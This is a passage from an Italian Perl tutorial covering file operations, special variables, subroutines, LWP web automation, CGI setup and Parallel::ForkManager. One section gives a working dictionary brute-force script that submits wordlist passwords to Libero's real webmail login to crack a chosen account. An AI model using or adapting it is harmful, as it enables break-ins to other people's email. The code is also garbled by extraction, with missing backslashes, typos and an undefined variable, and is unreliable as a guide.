-o

File posseduto da uid effettivo

n

-R

File leggibile da uid/gid reale

n

-W

File scrivibile da uid/gid reale

n

-X

File eseguibile da uid/gid reale

n

-O

File posseduto da uid reale

n

-e

File esiste

s

-z

File ha dimensione zero

s

-s

Dimensione del file

s

-f

File normale

s

-d

Directory

s

-l

Link simbolico

n

-p

Pipe con nome

n

-S

Socket

n

-b

File speciale block

n

-c

File speciale carattere

n

-t

Descrittore aperto su tty

n

-u

Il bit setuid è alto

n

-g

Il bit setgid è alto

n

-k

Il bit sticky è alto

n

-T

File di testo

s

-B

File binario

s

-M

Età in giorni dall'ultima modifica al file

s

-A

Età in giorni dall'ultimo accesso

s

-C

Età in giorni dall'ultima modifica di
inode

s

Oppure utilizzo in colpo solo la funzione stat che resituisce in un colpo solo 13 argomenti:

@a =stat "C:proveBattiato.mp3";
print "@an";

Valore

Descrizione Unix

Descrizione Win32

$a[0]

Numero dispositivo

numero dei drive

$a[1]

Numero di inode

zero

$a[2]

Modo dei file: read/write/execute

$a[3]

Numero di link al file

1

$a[4]

User ID

0

$a[5]

Group ID

0

$a[6]

ldentificatore dispositivo

numero drive

$a[7]

Dimensione file in byte

Dimensione file in byte

$a[8]

Ultimo istante di accesso

Ultimo istante di accesso

$a[9]

Ultimo istante di modifica

Ultimo istante di modifica

$a[10]

Ultimo istante di creazione

Ultimo istante di creazione

$a[11]

Dimensione dei blocco dei disco

0

$a[12]

Numero di blocchi per file

0

Eliminare un File
unlink "C:proveBattiato.mp3";
unlink <*.txt>;

Luigi Capuzzello

# Cancella il file indicato
# elimina tutti i file *.txt
Guida al Perl per Win3223

Rinominare un File
rename('uno.txt', 'ciao.html');
rename('c:/a/ciao.html','c:/a/b/uno.txt');

Modifica dei permessi di un File
chmode(mode, lista file);
chmode(744, 'uno.txt', 'due.txt', 'tre.txt');
dove ad esempio mode vale:

-

666 per indicare permesso read/write
444 per indicare permesso di sola lettura

Cambiare la directory
chdir(nuova_directory);

Aprire una Directory, leggere i File e chiudere una Directory
$dir = 'c:prove';
opendir(prove, $dir) or die "Non riesco ad aprire $dir";
while($file_base = readir(prove)){
print "$file_basen";
}
closedir(prove);
oppure

$dir = 'c:prove';
opendir(prove, $dir) or die "Non riesco ad aprire $dir";
@nomi_file = readir(prove);
print "@nomi-filen";
closedir(prove);

Creare e Cancellare una Directory
mkdir('prove2', 777);
rmdir('prove2');

Luigi Capuzzello
Guida al Perl per Win3224

VII. Variabili Speciali
$_

-variabile di default

Rappresenta la variabile di default; molte funzioni prendono quella come variabile se non diversamente specificato.
Ad esempio

$_ = "bla bla blan";
print;
Visualizza ‘bla bla bla’

$#array

-Size dell’array

Restituisce il numero di elementi di un array

$$ $< $0 $! $? $@

-variabili sullo stato del programma

$$ visualizza il PID del programma
$< visualizza l'UID dell'utente che ha eseguito il programma
$0 visualizza il nome del programma
$! visualizza lo stato dell'ultima chiamata del programma
$? visualizza lo stato di ritorno dell'ultima operazione di esecuzione di un processo esterno
$@ visualizza l'ultimo messaggio di errore prodotto dallo script

ARGV

-variabili passate al mio script

Per prelevare le informazioni che vengono passate al mio script uso l’array ARGV.

$ARGV[0] || die "Devi specificare la stringa da cercaren";
@file = `ls -1`;
chop(@file);
foreach $file (@file) {
-T $file || next;
open(FILE, "<$file") ||next;
while ($r = <IN>) {
$r =~ /$ARGV[0]/ && print "$file: $r";
}
close (IN);
}
Oppure

$filename = $ARGV[0];
open(FILE, "< $filename") || die "Errore!nn";
while ($riga = <FILE>) {
print "$riga";
}

%ENV

-varaibili d’ambiente

Tutte le variabili d’ambiente vengono catturate dall’interpreter Perl che le mette nello Hash %ENV.

#!/usr/bin/perl
print "Path è: $ENV{PATH}n";

Luigi Capuzzello
Guida al Perl per Win3225

VIII. Variabili Speciali
Dichiarazione di funzioni
Per dichiarare una funzione basta fare:
sub nome_della_funzione {
contenuti;
della;
funzione;
}

Passare dati a una funzione
All'interno di una sub, possiamo aver accesso ai parametri passati (se ce ne sono) tramite lo speciale array @_ . Così il
primo valore passato alla sub sarà $_[0], il secondo $_[1] e così via.

sub print_first_argument {
print $_[0], "n";
}
sub print_number_of_arguments {
print $#_ +1, "n";
}

Utilizzare una funzione
Per utilizzare una funzione bisogna sembra fare riferimento al nome della stessa preceduto da &.
Dunque &<Nome-funzione>

sub addone {
$_[0] = $[0] +1;
return $_[0];
}
$Numero = 3;
&addone($Numero);
&addone($Numero,$Numero2,$Numero3);
Oppure per passare più di un valore posso fare così:

print "Inserisci i numeri:n";
@numeri = <STDIN>;
chop (@numeri);
$media = &media(@numeri);
print "Media = $median";

local -Dichiarazione di variabili locali
Questo crea queste nuove variabili nel momento dell'esecuzione, salvando i precedenti valori delle variabili con lo
stesso nome (se esistono); in seguito, alla fine del blocco {} in cui erano incluse, queste variabili locali vengono
distrutte, ed il loro valore iniziale viene ripristinato. Le variabili locali possono essere inizializzate nei seguenti modi:

local($variable, $anothervar, @even_an_array);
local($variable, $anothervar)=(value, anothervalue);

Luigi Capuzzello
Guida al Perl per Win3226

IX. Web Automation
LWP: classi principali
Il modulo LWP contiene un insieme molto grande di classi che possono essere utilizzate. Le più importanti sono:
LWP::UserAgent: usata per creare dei browser virtuali che siano in grado di effettuare delle Request;
HHTP::Response: in grado di gestire le risposte (o i messaggi di errore) delle varie Request.

HTTP::Response -Metodi principali
La maniera più semplice per usare le due classi è la segunte:
$response = $browser->get($url)
In questo caso l’oggetto $response è già un HTTP::Response
I metodi più importanti dell’oggetto HTTP::Response sono:
- $response->is_success: che mi dice se la richiesta di una data pagina ha avuto o meno successo;
- $response->status_line: nel caso di errore mi restituisce informazioni circa il fallimento (404 – Not found);
- $response->content_type: mi da informazioni sul MIME content-type della pagina aperta (text/html – image/gif);

Aggiungere HTTP Request Header
È anche possibile inserire altri Header alla richiesta di una pagina con http. Per farlo è sufficiente:
my @ns_headers = (
'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*',
'Accept-Charset' => 'iso-8859-1,*,utf-8',
'Accept-Language' => 'en-US',
);
...
$response = $browser->get($url, @ns_headers);

Cookies
I cookies vengono gestiti con l’ oggetto cookie_jar. Questo oggetto rimappa sia i cookies salvati su disco sia quelle
residenti in memoria che vengono definitivamente persi una volta chiuso il browser.
Per creare in memory cookies dobbiamo fare così:
use LWP;
my $browser = LWP::UserAgent->new;
$browser->cookie_jar($cookie_jar);
In questo caso ho creato un vaso (jar) che conterrà in memoria i nostri cookies e l’ho chiamato $cookie_jar.
Per creare cookies da leggere e scrivere su file dobbiamo invece fare così:
use HTTP::Cookies;
$browser->cookie_jar( HTTP::Cookies->new(
'file' => '/some/where/cookies.lwp',
'autosave' => 1,
));
-

# where to read/write cookies
# save it to disk when done

File: è il nome del file su cui i cookies vengono salvati e da cui vengono prelevati i cookies;
Autosave: vale 1 se i cookies devono essere salvati sul file prima che l’oggetto http::Cookies venga distrutto;
Ignore_discard: vale 1 se devono essere forzatamente salvati su file i cookies che dovrebbero essere
eliminati;

$cookie_jar->add_cookie_header($request)
Questo metodo cerca se c’è un cookies jar (vaso) salvato, corrispondente all’URL richiesto. Se lo trova aggiunge tali
valori come Cookies Header e li invia insieme alla richiesta.

Luigi Capuzzello
Guida al Perl per Win3227

$cookie_jar->set_cookie($version, $key, $value, $path, $domain, $port,...)
version: A string containing the cookie-spec version number.
key: The name of the cookie.
Val: The value of the cookie.
Path: The pathname of the URL for which the cookie is set.
Domain: The domain name for which the cookie is set.
port :The port number of the URL for which the cookie is set.
$cookie_jar->clear($domain, $path, $key)
Posso settare uno, due o tutti e tre i parametri. A seconda di quello che scelgo posso arrivare a cancellare un cookie:
di uno specifico dominio,
all’interno di uno specifico percorso (del dominio)
e all’interno di quel percorso il cookie con un certo nome.

Effettuare un POST
La sintassi più generica per inviare dati tramite un POST è la seguente:
$response = $browser->post( $url,
[
formkey1 => value1,
formkey2 => value2,
...
],
headerkey1 => value1,
headerkey2 => value2,
);

# Campo-Valore da inviare con il POST

# Header aggiuntivo

questa sintassi consente di inviare le coppie campo-valore da inviare con il POST e degli HEADER aggiuntivi. Ad
esempio:
use strict;
use warnings;
use LWP 5.64;
my $browser = LWP::UserAgent->new;
my $word = 'tarragon';
my $url = 'http://www.altavista.com/sites/search/web';
my $response = $browser->post( $url,
[ 'q' => $word,
# the Altavista query string
'pg' => 'q',
'avkw' => 'tgz',
'kl' => 'XX',
]
);
die "$url error: ", $response->status_line
unless $response->is_success;
die "Weird content type at $url -- ", $response->content_type
unless $response->content_type eq 'text/html';
if( $response->content =~ m{AltaVista found ([0-9,]+) results} ) {
# The substring will be like "AltaVista found 2,345 results"
print "$word: $1n";
} else {
print "Couldn't find the match-string in the responsen";
}

Effettuare un GET
La sintassi da usare per ottenere una GET di questo tipo : http://us.imdb.com/Tsearch?title=Blade
%20Runner&restrict=Movies+and+TV
È la segunte:

Luigi Capuzzello
Guida al Perl per Win3228

use URI;
my $url = URI->new( 'http://us.imdb.com/Tsearch' );
$url->query_form(
# And here the form data pairs:
'title' => 'Blade Runner',
'restrict' => 'Movies and TV',
);
my $response = $browser->get($url);

Usare PROXY
Per consentire all’oggetto browser di utilizzare i Proxy è sufficiente la riga di codice
use LWP;
my $browser = LWP::UserAgent->new
$browser ->proxy(['http', 'ftp'], 'http://proxy.sn.no:8001/');
Se poi servono delle credenziali per accedere al web proxy allora posso usare il metodo credential
$browser->credentials(
'servername:portnumber',
'realm-name',
'username' => 'password'
);

HTTPS
Valgono le stesse considerazioni degli accessi via HTTP

HTTP Authentication
Talvolta l’accesso ai documenti da internet richiede una HTTP Authentication. In questo caso non appare una semplice
form di inserimento User e Password perché il documento appartiene ad un dominio. Bisogna pertanto fornire delle
credenziali specifiche.
Ad esempio:
Supponiamo di voler accedere al documento:

http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html
In questo caso ci apparirà la form di HTTP Authentication:

Se noi proviamo ad automatizzare l’accesso al documento con il classico:
use LWP 5.64;
my $browser = LWP::UserAgent->new;
my $url ='http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html';
my $response = $browser->get($url);

Luigi Capuzzello
Guida al Perl per Win3229

die "Error: ", $response->header('WWW-Authenticate') ||
'Error accessing',
# ('WWW-Authenticate' is the realm-name)
"n ", $response->status_line, "n at $urln Aborting"
unless $response->is_success;
Otteniamo il seguente errore:
Error: Basic realm="Unicode-MailList-Archives"
401 Authorization Required
at http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html
Aborting at auth1.pl line 9. [or wherever]
Per ottenere il documento dobbiamo allora fornire le giuste credenziali con la seguente sintassi:
use LWP 5.64;
my $browser = LWP::UserAgent->new;
$browser->credentials(
'servername:portnumber',
'realm-name',
'username' => 'password'
);

Pagine di grosse dimensioni.
Per non caricare pagine di grosse dimensioni in memoria posso usare la segunte sintassi
$response = $ua->get($url,
':content_file' => $filespec,
);
Ad esempio:
$response = $ua->get('http://search.cpan.org/',
':content_file' => '/tmp/sco.html'
);
Attenzione!!
In questo modo $response- conterrà tutti gli Header normali ma $response->content sarà vuoto!

Esempio riepilogativo: Accedere al Sy@net con User e Password.
Il Perl mette a disposizione un notevole numero di moduli che facilitano la gestione delle pagine Web. Il loro utilizzo è
semplice e consente di velocizzare notevolmente alcune operazioni che vengono svolte ripetutamente come ad
esempio l’accesso ad una determinata pagina con un Login per controllare che nella Home non siano presenti articoli
che mi interessano.
In questo caso potremmo utilizzare uno Script di questo tipo:
#!/usr/bin/perl -w
use
use
use
use

strict;
LWP::UserAgent;
HTTP::Cookies;
IO::Handle;

autoflush STDERR 1;
#
# Istanzio anche l’oggetto cookies che in qusto caso non serve a nulla ma in altri casi potrebbe servire.
my $cookies = HTTP::Cookies->new;
#
# LWP::UserAgent setup:
# Lo UserAgent è in sostanza il gestore della connessione tcp/ip. Potrebbe essere visto come il browser.
# In questo caso definisco alcune caratteristiche del browser e gli inietto gli eventuali cookies
my $ua
= LWP::UserAgent->new(
keep_alive
=> 1,
agent
=> 'SIBot/1.0',
requests_redirectable => ['HEAD', 'GET', 'POST'],
cookie_jar
=> $cookies,

Luigi Capuzzello
Guida al Perl per Win3230

);
$ua->env_proxy;
#
# Prelevo da riga di comando lo user e la password con cui accedere alla pagina web
print STDERR "Login: ";
my $user = <STDIN>;
chomp $user;
print STDERR "Password: ";
my $pass = <STDIN>;
chomp $pass;
#
#
#
#
#

Mi collego alla pagina di LOGIN!! Non alla Home.
metto nell’oggetto $login la risposta al POST. Per farlo passo al POST:
- URL della pagina che contiene il login;
- tutte le coppie ‘campo’ => ‘valore’ che servono al POST per effettuare il Login

my $login = $ua->post('http://dok/synet/Logon.asp', {
UID => $user,
PWD => $pass,
PIN => '',
IDSUBMIT1 => 'Login',
KEYFOUND => 'true',
IPc => '192.168.110.91',
});
#
# L’oggetto $login così creato ha a dispozione i seguenti metodi:
# - $login->is_success: mi dice se l’operazione (intesa come verifica dell’esistenza della pagina,
#
apertura della porta 80) è tecnicamente riuscita;
# - $login->content: contiene tutto il codice HTML della risposta ottenuta del WebServer
die "Errore: ".$login->content unless $login->is_success;
#
# A questo punto chiedo al sistema di prendere la pagina della Home.asp.
# Se il login è andato a buon fine allora otterrò la pagina che desidero, altrimenti la pagina che mi dice che
# il login non è corretto
my $HomePag = $ua->get('http://dok/synet/Home.asp');
# Controllo comunque che la pagina 'http://dok/synet/Home.asp' esista
die "Impossibile mostrarti la Home.asp!" unless $HomePag->is_success;
print $HomePag->content;
#
# A questo punto dalla pagina che ricevo estraggo i dati che mi interessano
my @list = grep(m#<a href="[^"]+"><b>[^<]+</b></a>#,
split(/[rn]/, $articles->content));
foreach (@list[0 .. 9]) {
m#<a href="([^"]+)"><b>([^<]+)</b></a>#;
print "$2nhttp://freshmeat.net$1n";
}

Luigi Capuzzello
Guida al Perl per Win3231

Esempio riepilogativo: Craccare gli account di Libero.
Con la Web Automation posso provare (ma bisogna avere un vocabolario mirato) a craccare le password di accesso a
libero. Per farlo basta conoscere i dati che devono essere inviati con il POST alla pagina di Login.
Molto utile in questo caso può essere un briwser come FireFox che consente di analizzare su una data pagina, tutte le
form che sono presenti e per ogni form tutti i get e i post che possono essere fatti con i relativi parametri! Per farlo
basta andare sulla pagina desiderata; tasto destro; visualizza info pagina; andare al tab moduli.
# Apro la connessione al Dizionario
#
$ARGV[0] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd
esempio:n BruteLibero luigi.capuzzello .Dizio.txtn";
$ARGV[1] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd
esempio:n BruteLibero luigi.capuzzello .Dizio.txtn";
$NomeFile=$ARGV[1];
open(a, "<$NomeFile") or die "Non trovo il file <$ARGV[0]>";
#
# Apro la connessione alla pagina di Libero
#
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use IO::Handle;
autoflush STDERR 1;
#
# LWP::UserAgent setup
#
my $cookies = HTTP::Cookies->new;
my $ua
= LWP::UserAgent->new(
keep_alive
=> 1,
agent
=> 'SIBot/1.0',
requests_redirectable => ['HEAD', 'GET', 'POST'],
cookie_jar
=> $cookies,
);
$ua->env_proxy;
my $suser=$ARGV[0];
my $spwd;
my $login;
while($spwd=<a>){
#
#Per ogni parola del Dizionario provo ad entrare
#
chomp($spwd);
$login = $ua->post('http://wpop3.blu.libero.it/email.php', {
LOGIN => $suser,
PASSWD => $spwd,
dominio => 'libero.it',
choice => 'libero',
Act_Login => 'Entra',
'Act_Login.x' => 29,
'Act_Login.y' => 12,
});
die "Errore: ".$login->content unless $login->is_success;
print "nSono entrato e... ";
if ($login->content =~ /Leggi mail/g) {
#if ($login->content =~ /DOCTYPE HTML PUBLIC/g) {
print "Congratulation StarFigther The Password is...".$spwd."nn";}
else {
print "Dho'! <$spwd> non sembra la Password corretta !n";}
#print "$rigan";
}
close(a);

Luigi Capuzzello
Guida al Perl per Win3232

Riferimenti:
http://www.siforge.org/articles/2005/02/17-perl_web_automation.html
http://www.siforge.org/articles/2003/11/10-guida_sessioni_php.html
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html

Luigi Capuzzello
Guida al Perl per Win3233

IX. CGIPerl
Installazione dell’ambiente
Per poter realizzare pagine HTML dinamiche con il perl bisogna avere installato sulla propria macchina:
ActivePerl;
Apache per W32
Entrambi i programmi sono nella cartella Software della sezione Perl.
L’installazione di Apache è spiegata dettagliamene con un file di help dentro a SoftwareApacheInstallazione W32 di
Apache e Perl.htm
In sostanza non ci sono particolari difficoltà: se un IIS sta già andando sulla macchina le possibilità sono due:
1. si installa Apache su una porta diversa modificando il file di configurazione ‘httpd’;
Listen 80
--> Listen 8080
ServerName your-server-name:80
--> ServerName your-server-name:8080
2.

si attivano/disattivano di volta in volta sulla porta 80 IIS o Apache

Una volta installato il server Apache controllare che nel file di configurazione ‘httpd’ vi sia la riga che specifica l’alias
del percorso del sito dove metteremo le nostre pagine CGI (script Perl).
ScriptAlias /cgi-bin/ "C:/Programmi/Apache Group/Apache2/cgi-bin/"

Una guida è su http://www.cgi101.com/book/ch1/text.html

Luigi Capuzzello
Guida al Perl per Win3234

Parallel::ForkManager 0.7

Perl module - Part of CPAN distribution Parallel-ForkManager 0.7.3.

Installazione del modulo
Per installare il modulo occorre scaricare il contenuto di:
http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.5.tar.gz
scompattare la cartella
perl MakePL.pl
make
make install

NAME
Parallel::ForkManager - A simple parallel processing fork manager

SYNOPSIS
use Parallel::ForkManager;
$pm = new Parallel::ForkManager($MAX_PROCESSES);
foreach $data (@all_data) {
# Forks and returns the pid for the child:
my $pid = $pm->start and next;
... do some work with $data in the child process ...
$pm->finish; # Terminates the child process
}
DESCRIPTION
This module is intended for use in operations that can be done in parallel where the number of processes to be forked
off should be limited. Typical use is a downloader which will be retrieving hundreds/thousands of files.
The code for a downloader would look something like this:

use LWP::Simple;
use Parallel::ForkManager;
...
@links=(
["http://www.foo.bar/rulez.data","rulez_data.txt"],
["http://new.host/more_data.doc","more_data.doc"],
...
);
...
# Max 30 processes for parallel download
my $pm = new Parallel::ForkManager(30);
foreach my $linkarray (@links) {
$pm->start and next; # do the fork
my ($link,$fn) = @$linkarray;
warn "Cannot get $fn from $link"
if getstore($link,$fn) != RC_OK;
$pm->finish; # do the exit in the child process
}
$pm->wait_all_children;

First you need to instantiate the ForkManager with the "new" constructor. You must specify the maximum number of
processes to be created. If you specify 0, then NO fork will be done; this is good for debugging purposes.
Next, use $pm->start to do the fork. $pm returns 0 for the child process, and child pid for the parent process (see also
perlfunc(1p)/fork()). The "and next" skips the internal loop in the parent process. NOTE: $pm->start dies if the fork
fails.
$pm->finish terminates the child process (assuming a fork was done in the "start").
NOTE: You cannot use $pm->start if you are already in the child process. If you want to manage another set of
subprocesses in the child process, you must instantiate another Parallel::ForkManager object!

METHODS
new $processes

Luigi Capuzzello
Guida al Perl per Win3235

Instantiate a new Parallel::ForkManager object. You must specify the maximum number of children to
fork off. If you specify 0 (zero), then no children will be forked. This is intended for debugging
purposes.
start [ $process_identifier ]
This method does the fork. It returns the pid of the child process for the parent, and 0 for the child process. If the $processes
parameter for the constructor is 0 then, assuming you're in the child process, $pm->start simply returns 0.
An optional $process_identifier can be provided to this method... It is used by the "run_on_finish" callback (see CALLBACKS)
for identifying the finished process.
finish [ $exit_code ]
Closes the child process by exiting and accepts an optional exit code (default exit code is 0) which can
be retrieved in the parent via callback. If you use the program in debug mode ($processes == 0), this
method doesn't do anything.
set_max_procs $processes
Allows you to set a new maximum number of children to maintain. Returns the previous setting.
wait_all_children
You can call this method to wait for all the processes which have been forked. This is a blocking wait.

CALLBACKS
You can define callbacks in the code, which are called on events like starting a process or upon finish.
The callbacks can be defined with the following methods:
run_on_finish $code [, $pid ]
You can define a subroutine which is called when a child is terminated. It is called in the parent process.
The paremeters of the $code are the following:
- pid of the process, which is terminated
- exit code of the program
- identification of the process (if provided in the "start" method)
- exit signal (0-127: signal name)
- core dump (1 if there was core dump at exit)
run_on_start $code
You can define a subroutine which is called when a child is started. It called after the successful startup of a child in
the parent process.
The parameters of the $code are the following:
- pid of the process which has been started
- identification of the process (if provided in the "start" method)
run_on_wait $code
You can define a subroutine which is called when the child process needs to wait for the startup. One call is done per
child, and this is called only in the "start" method, it is not called in "wait_all_children".
No parameters are passed to the $code.

EXAMPLE: Parallel get
This small example can be used to get URLs in parallel.

use Parallel::ForkManager;
use LWP::Simple;
my $pm=new Parallel::ForkManager(10);
for my $link (@ARGV) {
$pm->start and next;
my ($fn)= $link =~ /^.*/(.*?)$/;
if (!$fn) {
warn "Cannot determine filename from $fnn";
} else {
$0.=" ".$fn;
print "Getting $fn from $linkn";
my $rc=getstore($link,$fn);
print "$link downloaded. response code: $rcn";
};
$pm->finish;
};

Luigi Capuzzello
Guida al Perl per Win3236

Callbacks
Example of a program using callbacks to get child exit codes:

use strict;
use Parallel::ForkManager;
my $max_procs = 5;
my @names = qw( Fred Jim Lily Steve Jessica Bob Dave Christine Rico Sara );
# hash to resolve PID's back to child specific information
my $pm = new Parallel::ForkManager($max_procs);
# Setup a callback for when a child finishes up so we can
# get it's exit code
$pm->run_on_finish(
sub { my ($pid, $exit_code, $ident) = @_;
print "** $ident just got out of the pool ".
"with PID $pid and exit code: $exit_coden";
}
);
$pm->run_on_start(
sub { my ($pid,$ident)=@_;
print "** $ident started, pid: $pidn";
}
);
$pm->run_on_wait(
sub {
print "** Have to wait for one children ...n"
}
);
foreach my $child ( 0 .. $#names ) {
my $pid = $pm->start($names[$child]) and next;
# This code is the child process
print "This is $names[$child], Child number $childn";
sleep ( 2 * $child );
print "$names[$child], Child $child is about to get out...n";
sleep 1;
$pm->finish($child); # pass an exit code to finish
}
print "Waiting for Children...n";
$pm->wait_all_children;
print "Everybody is out of the pool!n";
BUGS AND LIMITATIONS
Do not use Parallel::ForkManager with fork and wait. Do not use more than one copy of Parallel::ForkManager in one
process!

Luigi Capuzzello
Guida al Perl per Win3237

Appendice A. Elenco delle funzioni

Le cosiddette "builtin functions" sono i normali 'comandi' del perl, che accettano argomenti, fanno qualcosa a livello
degli argomenti o di sistema, e danno in ritorno dei valori. Per informazioni più dettagliate, si veda "man perlfunc".
Molte funzioni non hanno bisogno di argomenti tra (), ma nelle operazioni più complicate le parentesi tonde sono
necessarie per chiarire cosa è riferito a cosa. Tipicamente, quindi, le () si evitano nelle linee più semplici, come print
$bleah; , ma devono essere incluse quando c'è più di una funzione che viene invocata nella stessa dichiarazione.
Le dichiarazioni in perl terminano sempre con il segno ;
Funzioni (in ordine alfabetico):
1.

atan2 Funzione matematica: restituisce l'arcotangente di un valore. La si può anche trovare con
sub tan { sin($_[0]) / cos($_[0]) }

2.

binmode Apre un file in modalità binaria; deve essere invocato dopo il comando open (che apre il file):

3.

open (FILE, file.bin);
binmode FILE;
chdir Cambia la directory di lavoro con quella indicata come argomento della funzione

4.

chdir ($HOME) or die "You're homeless!n";
chmod Accetta come argomenti un numero e una lista di file, e setta il permesso su quei file in funzione del
numero assegnato. Il numero deve essere espresso in notazione ottale.
Il valore di uscita è false se è 0 o '', true in qualsiasi altro caso:
chmod 0644, "README", "INSTALL";

5.

@list = ( "abc", "def", "ghi")
chmod 755, @list;
chop Prende come argomento uno scalare, ed elimina l'ultimo carattere, restituendolo. Spesso è utilizzato per
eliminare il carattere n dai file e dagli input da tastiera.
$a = "scalare"; $b = chop($a);
Nella maggior parte dei casi, non ci interessa il valore restituito, quindi basta semplicemente dare:
chop $a; oppure solamente:
chop;

6.

che opera con $_ . Si noti che, ai nostri fini, chomp è equivalente a chop.
chown Analogo al comando chown dei sistemi Unix: cambia il proprietario di uno o più file. I primi 2
argomenti che si devono passare a questa funzione sono l'uid (user id) ed il gid (group id) numerici, poi il file
o i file da sottoporre alla funzione. In generale, la sintassi è:
chown $uid, $gid, @filenames;
oppure

7.
8.

chown $uid, $gid, 'file1', 'file2' ...... ;
cos Funzione matematica. Restituisce il coseno del parametro (espresso in radianti) passato alla funzione. Se
si omette il parametro, cos opera su $_
do Esegue un blocco di comandi e restituisce il valore dell'ultima espressione presa in considerazione. La
sintassi è:
do BLOCCO;
Un'utile implementazione di "do" può essere quella di ripetere una porzione dicodice finchè una certa
condizione sia verificata. Vediamo come:
do {
print "Scegli 1 o 2n";
chop($sel=<STDIN>);
until " 1 2 " =~ / $sel /;
if ($sel == '1') {
print "Hai scelto 1n";
} elsif ($sel == '2') {
print "Hai scelto 2n";
}

Luigi Capuzzello
Guida al Perl per Win3238

9.

In pratica, questo script visualizza "hai scelto 1" o "hai scelto 2" a seconda del tasto premuto dall'utente, a
meno che questi abbia premuto qualsiasi altro tasto: in questo caso, lo script si disinteressa del tasto premuto
e continua a visualizzare "Scegli 1 o 2". A cosa può servire tutto questo? Semplice: togliete da questo script le
prime quattro linee e premete "3" quando vi viene chiesto di scegliere 1 o 2: lo script si blocca ed esce: non
succede niente di male, sia chiaro, ma se avete uno script di qualche centinaio di righe che si blocca per una
simile piccolezza, la cosa può dare fastidio.
die Prende come argomento una stringa ed esce immediatamente dal programma visualizzando tale stringa
come messaggio d'errore.

if ($num != 18) {
die "Non è 18n";
}
10. eval Prende un'espressione come argomento e la esegue come fosse un piccolo programma. Se non viene
indicato alcu argomento, eval valuta $_ . Eval restituisce il valore dell'ultima espressione considerata, ma si
può ricorrere a return per restituire il valore ad un determinato punto del blocco. Nel seguente esempio si
vede come è possibile eseguire la stessa operazione con do e con eval:
do 'script.pl';
eval `cat script.pl`;
Attenzione agli apici inversi: ' questo è un apostrofo ` questo è l'apice inverso
11. exec Esce dallo script Perl eseguendo un altro progrmamma. Normalmente, exec non rientra in perl, ma se
anche dovesse farlo, restituisce il valore falso, controllando cos'è successo tramite l'analisi di $! . Se si
volesse ritornare all'interno dello script, è consigliato utilizzare la funzione system
12. exit Prende un numero come argomento, ed esce con quel numero come codice di stato.
exit 0; per uscire con successo
exit 1; o qualsiasi valore diverso da 0
esce senza successo.
La differenza con die è che die viene utilizzato nei casi tipo "questo non sarebbe dovuto succedere".
13. exp Funzione matematica. Calcola il valore di e elevato al parametro fornito con exp: in mancanza di questo,
agisce su $_
14. getpgrp Utilizzato con la sintassi 'getpgrp PID' restituisce i/l processo/i appartenente/i al PID specificato. Se
si utilizza questa funzione su sistemi che non implementano la chiamata getgpgrp (si veda man getpgrp),
produce un errore irreversibile.
15. goto Sintassi: goto label: ricerca la riga contrassegnata da label e riprende l'esecuzione da essa. La sintassi
può anche essere goto expr oppure goto &name (si veda la manpage per ulteriori approfondimenti)
16. grep Esegue la stessa cosa del comando 'grep' nei sistemi Unix. In pratica, ricerca una stringa e restituisce
gli elementi per i quali l'espressione risulta vera. Si veda la solita man perlfunc e man perl (nei sistemi Unix)
17. join Prende una stringa ed una lista di valori di uno o più array, e produce una stringa ottenuta con tutti i
valori dell'array, usando la stringa come separatore.
$bah = (":", "eek", "niente", 34); $bah diventa "eek:niente:34"
@array = ("uff", "abc", "foo");
print (join(" ", @array, "eek"), "n");
visualizza "uff abc foo eek"
18. keys Restituisce una lista costituita da tutte le chiavi dell'hash indicato:
$bla{'eek'} = "*pat*";
$bla{'uff'} = "erp";
@thekeys = keys(%bla);
@thekeys è ("eek", "uff")
print (join(" ", keys(%bla)), "n";);
visualizza "eek uff"
19. kill Invia un segnale ad un processo. La si può utilizzare come kill 'STOP' processo; per i segnali, is veda man
7 signal.
20. last interrompe l'esecuzione il ciclo in questione (simile al BREAK del C). Se non viene specificato il ciclo, last
is riferisce al più interno.
LINE: while <STDIN> {
last LINE if /^$/;
esce quando ha terminato con gli headers
.......

Luigi Capuzzello
Guida al Perl per Win3239

il resto del ciclo
}
21. lenght Prende una stringa e restituisce la sua lunghezza $n = "blip";
$l = $lenght($n);
$l è 4
print (lenght(34), "n");
restituisce 2
22. link Crea un link al file specificato, con la sintassi uguale a quella dei sistemi Unix:
link OLDFILE, NEWFILE
23. local Modifica le variabili elencate in modo da diventare locali limitatamente al blocco corrente. Se in lista ci
sono più variabili, queste devono essere racchiuse tra parentesi. In alternativa a local, si può utilizzare anche
my.
local $variabile;
dichiara $variabile locale
local (@array, %hash);
dichiara la lista di variabili locali
local $var = "valore";
dichiara $var locale e le assegna un valore
Per una trattazione più completa, si veda la sezione 'Temporary Values via local()' in man perlsub.
24. log Funzione matematica: restituisce il logaritmo in base e dell'argomento passato alla funzione (o, come
sempre, agisce su $_ )
25. mkdir Crea una directory, di cui il primo elemento è il nome, il secondo i permessi su di essa:
mkdir "files", 0755;
o meglio:
if (!mkdir("files", 0755)) {
die "failed to create directoryn";
}
26. my Dichiara che le variabili considerate sono locali rispetto al blocco che le contiene, alla subroutine o al file
corrente; se vengno specificate più variabili, queste devono essere racchiuse tra parentesi. A differenza delle
variabili create con 'local', queste rendono completamente 'invisibili' le variabili globali con lo stesso nome.
Per informazioni più dettagliate, si veda Private Variables via my() in man perlsub
27. next Analogo all'istruzione CONTINUE del C, permette di passare direttamente l'interazione del ciclo
contrassegnata da dall'etichetta LABEL

28.
29.
30.
31.
32.
33.
34.
35.

LINE: while (<STDIN>) {
next LINE if /^#/;
altro
}
oct Interpreta l'argomento passato come parametro della funzione come un valore ottale e lo restituisce in
valore decimale
open Apre il file indicato come argomento della funzione. Il file può essere aperto in diversi modi:
con < viene aperto in lettura
con >> viene aperto in scrittura
con >> il contenuto non viene sovrascritto, ma i nuovi dati vengono aggiunti in coda al file
con + davanti a < o > per indicare che il file deve essere aperto in lettura e scrittura
se inizia con | , viene visto come un comando a cui l'output viene passato
se termina con | , viene visto come un comando da cui viene prelevato l'input
open /usr/src/linux/README
